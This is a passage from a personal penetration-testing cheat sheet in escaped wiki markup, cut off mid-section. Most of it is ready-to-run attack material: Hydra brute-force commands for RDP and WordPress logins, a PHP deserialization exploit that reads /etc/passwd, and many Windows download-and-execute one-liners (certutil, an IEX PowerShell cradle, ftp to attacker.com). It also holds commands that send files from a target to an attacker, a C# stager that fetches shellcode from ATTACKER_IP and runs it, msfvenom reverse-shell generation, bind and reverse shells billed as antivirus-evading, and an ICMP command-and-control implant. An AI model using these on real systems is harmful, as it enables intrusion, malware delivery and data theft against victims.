|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
